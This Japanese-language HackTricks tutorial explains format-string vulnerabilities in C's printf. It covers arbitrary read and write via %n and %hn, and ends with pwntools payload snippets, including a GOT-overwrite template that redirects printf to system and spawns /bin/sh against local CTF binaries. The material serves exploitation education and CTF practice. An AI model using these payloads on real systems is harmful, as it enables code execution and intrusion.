.. | ||
format-strings-template.md | ||
README.md |
フォーマット文字列
htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学びましょう!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝してみたいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションをご覧ください
- 公式PEASS&HackTricksスウェグを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください 🐦@carlospolopm。
- ハッキングトリックを共有するために、hacktricksリポジトリ および hacktricks-cloudリポジトリ にPRを提出してください。
基本情報
C言語では、printf
は文字列を表示するために使用できる関数です。この関数が期待する最初のパラメータは、フォーマッタを含む生のテキストです。期待される次のパラメータは、生のテキストからフォーマッタを置換する値です。
脆弱性が発生するのは、この関数の最初の引数として攻撃者のテキストが使用される場合です。攻撃者は、printfフォーマット文字列の機能を悪用して、任意のアドレス(読み取り可能/書き込み可能)のデータを読み取りおよび書き込みする特別な入力を作成できます。これにより、任意のコードを実行できるようになります。
フォーマッタ:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
例:
- 脆弱性のある例:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- 通常の使用:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- 引数が不足している場合:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
ポインタへのアクセス
フォーマット %<n>$x
、ここで n
は数字を示し、printf に n 番目のパラメータ(スタックから)を選択させることができます。したがって、printf を使用してスタックから4番目のパラメータを読み取りたい場合は、次のようにします:
printf("%x %x %x %x")
そして、最初から4番目のパラメータまで読み取ることができます。
または、次のようにすることもできます:
printf("$4%x")
そして、4番目を直接読んでください。
攻撃者がpr
intf
パラメータを制御していることに注意してください。 これは基本的に、printf
が呼び出されるときにスタックに彼の入力があることを意味し、つまり、彼はスタックに特定のメモリアドレスを書き込むことができます。
{% hint style="danger" %}
この入力を制御する攻撃者は、スタックに任意のアドレスを追加し、printf
がそれにアクセスすることができます。次のセクションでは、この動作の使用方法について説明します。
{% endhint %}
任意の読み取り
フォーマッタ $n%s
を使用して、printf
がそれに続くn番目の位置にあるアドレスを取得し、それを文字列として表示することが可能です(0x00が見つかるまで印刷)。したがって、バイナリのベースアドレスが 0x8048000
であり、ユーザー入力がスタックの4番目の位置から始まることを知っている場合、バイナリの先頭を次のように印刷することができます:
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} アドレス0x8048000を入力の先頭に置くことはできません。なぜなら、そのアドレスの末尾には0x00が連結されるからです。 {% endhint %}
任意の書き込み
フォーマッタ $<num>%n
は、スタック内の <num> パラメータに書き込まれたバイト数を指定されたアドレスに書き込みます。攻撃者がprintfを使用して好きなだけ文字を書き込める場合、$<num>%n
を使用して任意の数値を任意のアドレスに書き込むことができます。
幸いなことに、数値9999を書き込むには、入力に9999個の "A" を追加する必要はありません。代わりに、フォーマッタ %.<num-write>%<num>$n
を使用して、num
の位置で指定されたアドレスに数値 <num-write>
を書き込むことが可能です。
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
しかし、通常、0x08049724
のようなアドレスを書くために(これは一度に書くには巨大な数です)、**$n
の代わりに$hn
**が使用されます。これにより、2バイトだけを書くことができます。したがって、この操作は2回行われ、アドレスの上位2バイトと下位2バイトの両方に対して1回ずつ行われます。
したがって、この脆弱性により、任意のアドレスに任意の内容を書き込むことができます(任意の書き込み)。
この例では、後で呼び出されるGOTテーブル内の関数のアドレスを上書きすることが目標となります。これにより、他の任意の書き込みを実行する手法を悪用できます:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
ユーザーから引数を受け取る関数のアドレスを**system
** 関数にポイントすることになります。
前述のように、アドレスを書くためには通常2つのステップが必要です:まず、アドレスの2バイトを書き込み、その後残りの2バイトを書き込みます。これを行うには**$hn
**が使用されます。
- HOBはアドレスの上位2バイトを指します
- LOBはアドレスの下位2バイトを指します
その後、フォーマット文字列の動作のため、[HOB、LOB]のうち最小の方を最初に書き込む必要があります。
HOB < LOBの場合
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
HOB > LOBの場合
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntoolsのテンプレート
この種の脆弱性に対するエクスプロイトを準備するためのテンプレートを以下で見つけることができます:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
または、こちらからこの基本的な例を参照してください。
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
バイナリオーバーフローへのフォーマット文字列
フォーマット文字列の脆弱性の書き込みアクションを悪用して、スタックのアドレスに書き込み、バッファオーバーフロー型の脆弱性を悪用することが可能です。
その他の例と参考文献
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32ビット、relroなし、canaryなし、nx、pieなし、フォーマット文字列を使用してスタックからフラグをリークする基本的な使用例(実行フローを変更する必要はありません)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して
fflush
のアドレスをwin関数(ret2win)で上書きする - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して、
.fini_array
内のmain内のアドレスを書き込み(フローが1回追加でループする)、strlen
を指すGOTテーブル内のsystem
のアドレスを書き込みます。フローがmainに戻ると、ユーザー入力でstrlen
が実行され、system
を指すstrlen
が実行され、渡されたコマンドが実行されます。